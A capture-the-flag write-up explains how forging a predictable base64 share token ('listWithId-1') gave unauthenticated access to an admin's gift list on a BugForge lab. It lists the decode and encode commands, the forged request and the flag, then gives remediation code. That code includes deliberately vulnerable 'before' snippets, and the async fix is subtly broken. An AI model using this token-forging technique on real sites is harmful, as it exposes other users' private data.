BugForge — 2026.03.26

Gift Lab: IDOR via Predictable Share Token

BugForge Broken Access Control medium

Overview

  • Platform: BugForge
  • Vulnerability: IDOR via Predictable Share Token
  • Key Technique: Reverse-engineering base64-encoded share tokens to access arbitrary gift lists without authentication
  • Result: Accessed admin’s gift list and captured flag by constructing a share token for list ID 1

Objective

Capture the flag hidden within the application.

Initial Access

# Target Application
URL: https://lab-1774557887132-96jwoz.labs-app.bugforge.io

# Auth details
Registered account: haxor (user ID 2)
Login via POST /login -> JWT cookie (HS256)

Key Findings

  1. IDOR via Predictable Share Token (CWE-639) — Share tokens are deterministic base64 encodings of listWithId-{id}. Any user’s gift list can be accessed unauthenticated by constructing the token with the target list ID.

  2. Missing CSRF Protection (CWE-352) — No CSRF tokens on any POST forms (list creation, item add/delete, sharing). Not exploited but noted.

  3. Server Technology Disclosure (CWE-200)X-Powered-By: Express header leaked in responses.


Attack Chain Visualization

┌──────────────┐    ┌──────────────────┐    ┌───────────────────┐
│  Register &  │───>│  Create list &   │───>│  Generate share   │
│  Login       │    │  observe app     │    │  link for own list │
└──────────────┘    └──────────────────┘    └─────────┬─────────┘
                                                      │
                                                      v
                                            ┌───────────────────┐
                                            │ Decode share token │
                                            │ bGlzdFdpdGhJZC0=  │
                                            │ Mg== -> "listWith  │
                                            │ Id-" + "2"         │
                                            └─────────┬─────────┘
                                                      │
                                                      v
                                            ┌───────────────────┐
                                            │ Construct token    │
                                            │ for list ID 1:     │
                                            │ base64("listWith   │
                                            │ Id-1") =           │
                                            │ bGlzdFdpdGhJZC0x   │
                                            └─────────┬─────────┘
                                                      │
                                                      v
                                            ┌───────────────────┐
                                            │ GET /share/bGlzd  │
                                            │ FdpdGhJZC0x        │
                                            │ -> 200 OK          │
                                            │ -> Admin's list    │
                                            │ -> FLAG captured   │
                                            └───────────────────┘

Application Architecture

Component Path Description
Registration POST /register Create account (username, password, confirmPassword)
Authentication POST /login JWT (HS256) set in token cookie (HttpOnly, SameSite=Lax)
Dashboard GET /dashboard View and create gift lists
List View GET /list/:id View list items (authenticated)
Share Link POST /lists/:id/share Generate base64-encoded share token
Public Share GET /share/:token View shared list (unauthenticated)
Mark Bought POST /share/:token/items/:id/bought Mark item as bought (unauthenticated)

Exploitation Path

Step 1: Reconnaissance & Token Analysis

After registering and creating a gift list, used the share feature to generate a share link. The app produced the URL:

/share/bGlzdFdpdGhJZC0=Mg==

Decoded the token and noticed it was two concatenated base64 segments:

# App-generated token (double base64 segments)
echo "bGlzdFdpdGhJZC0=" | base64 -d
# Output: listWithId-

echo "Mg==" | base64 -d
# Output: 2

The token format is base64("listWithId-") + base64("{id}") — the list ID is directly embedded.

Step 2: Token Construction for Target List

Since admin is user ID 1 and likely has list ID 1, constructed a share token using single base64 encoding of the full string:

echo -n "listWithId-1" | base64
# Output: bGlzdFdpdGhJZC0x

Step 3: Accessing Admin’s List

Requested the constructed share URL:

GET /share/bGlzdFdpdGhJZC0x HTTP/1.1
Host: lab-1774557887132-96jwoz.labs-app.bugforge.io

Response: 200 OK — returned admin’s “Admin B-day” gift list with all items, notes, store URLs, and priorities exposed.

Step 4: Flag Capture

The admin’s list contained the flag as item 3:

bug{54LhkizQ0VroHdO7ApOoGQvhsD3IooD2}

Flag / Objective Achieved

bug{54LhkizQ0VroHdO7ApOoGQvhsD3IooD2}

Key Learnings

  • Token encoding != token security. Base64 is encoding, not encryption. Share tokens built from predictable data (sequential IDs + known prefix) are trivially forgeable.
  • Server-side vs client-side encoding mismatch. The app generated tokens by concatenating two separate base64 segments (base64(prefix) + base64(id)), but the server decoded the entire string as a single base64 value. The single-encode format worked; the app’s own double-encode format returned 404. This inconsistency itself is a signal worth investigating.
  • Unauthenticated endpoints are high-value targets. The /share/:token endpoint required no authentication, making the predictable token the only access control — and it was broken.

Failed Approaches

Approach Result Why It Failed
Double-encode token format (bGlzdFdpdGhJZC0=MQ==) 404 Not Found Server decodes entire token as single base64 string, not two concatenated segments

Tools Used

Tool Purpose
Browser (Firefox) Application interaction, share link generation
base64 (CLI) Token decoding and construction
curl / Browser DevTools HTTP request analysis and testing

Remediation

1. Predictable Share Token — IDOR (CVSS: 7.5 - High)

Issue: Share tokens are deterministic base64 encodings of listWithId-{id}, allowing any list to be accessed by constructing the token with the target ID.

CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
function generateShareToken(listId) {
  return Buffer.from(`listWithId-${listId}`).toString('base64');
}

// AFTER (Secure)
const crypto = require('crypto');

function generateShareToken(listId) {
  const token = crypto.randomUUID(); // or crypto.randomBytes(32).toString('hex')
  // Store mapping: token -> listId in database
  await db.query('UPDATE lists SET share_token = ? WHERE id = ?', [token, listId]);
  return token;
}

2. Missing CSRF Protection (CVSS: 4.3 - Medium)

Issue: No CSRF tokens on any POST forms. State-changing operations (create list, add/delete items, generate share links) are vulnerable to cross-site request forgery.

CWE Reference: CWE-352 - Cross-Site Request Forgery

Fix:

// BEFORE (Vulnerable)
app.post('/lists', requireAuth, (req, res) => {
  // No CSRF validation
  createList(req.body.new_list, req.user.id);
});

// AFTER (Secure)
const csrf = require('csurf');
app.use(csrf({ cookie: true }));

app.post('/lists', requireAuth, (req, res) => {
  // CSRF token validated automatically by middleware
  createList(req.body.new_list, req.user.id);
});

3. Server Technology Disclosure (CVSS: 2.1 - Low)

Issue: X-Powered-By: Express header reveals server framework.

CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Fix:

// Add to Express app initialization
app.disable('x-powered-by');
// Or use Helmet
const helmet = require('helmet');
app.use(helmet());

OWASP Top 10 Coverage

  • A01:2021 - Broken Access Control — IDOR via predictable share tokens allowing unauthenticated access to any user’s gift list
  • A04:2021 - Insecure Design — Share token scheme uses encoding (base64) instead of cryptographic randomness
  • A05:2021 - Security Misconfiguration — X-Powered-By header disclosure, missing CSRF protection

References


Tags: #idor #broken-access-control #base64 #share-token #bugforge #webapp Document Version: 1.0 Last Updated: 2026-03-26

#IDOR #base64 #predictable-token #share-link